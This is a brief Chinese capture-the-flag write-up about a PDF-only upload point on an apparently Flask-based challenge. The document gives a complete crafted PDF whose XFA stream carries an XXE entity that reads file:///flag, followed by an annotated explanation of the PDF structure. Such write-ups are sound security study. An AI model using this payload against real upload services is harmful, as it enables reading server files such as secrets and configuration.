
进来是一个文件上传点,经过测试只能上传pdf后缀文件,要包含pdf文件头,上传后还会文件重命名,这样想拿到webshell是很困难的了
上传一个正常的pdf文件试试看,显示在文件中没有xfa

经过查资料,xfa在早期存在很多漏洞,现在很多pdf文件已经没有了

在wappalyzer中可以看到为flask框架,在后端会提取xfa,简单了解一下pdf文件结构,可以制作一个小pdf文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| %PDF-1.7 1 0 obj << /AcroForm << /XFA 3 0 R >> >> endobj 3 0 obj << /Length 300 >> stream <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <datasets><data><form1><field1>&xxe;</field1></form1></data></datasets> </xdp:xdp> endstream endobj trailer << /Root 1 0 R /Size 5 >> %%EOF
|
解释一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| %PDF-1.7 //pdf文件头 1 0 obj //一个obj相当于一个对象,最开头的是对象编号,中间的是生成号,文件被多次修改时才变 << /AcroForm << /XFA 3 0 R >> >> //<<>>中间用于写对象属性 endobj //用obj和endobj来代表一个对象的开始和结束 3 0 obj << /Length 300 >> stream //用于放数据流 <?xml version="1.0" encoding="UTF-8"?> //xfa底层是xml, <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]> //定义xxe变量,值是系统根目录flag文件 <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <datasets><data><form1><field1>&xxe;</field1></form1></data></datasets> //显示xxe的值 </xdp:xdp> endstream endobj trailer //这下面就是页脚了 << /Root 1 0 R /Size 5 >> %%EOF
|
这我也不是很懂,毕竟老漏洞了
将内容保存为pdf文件,上传即可得到flag
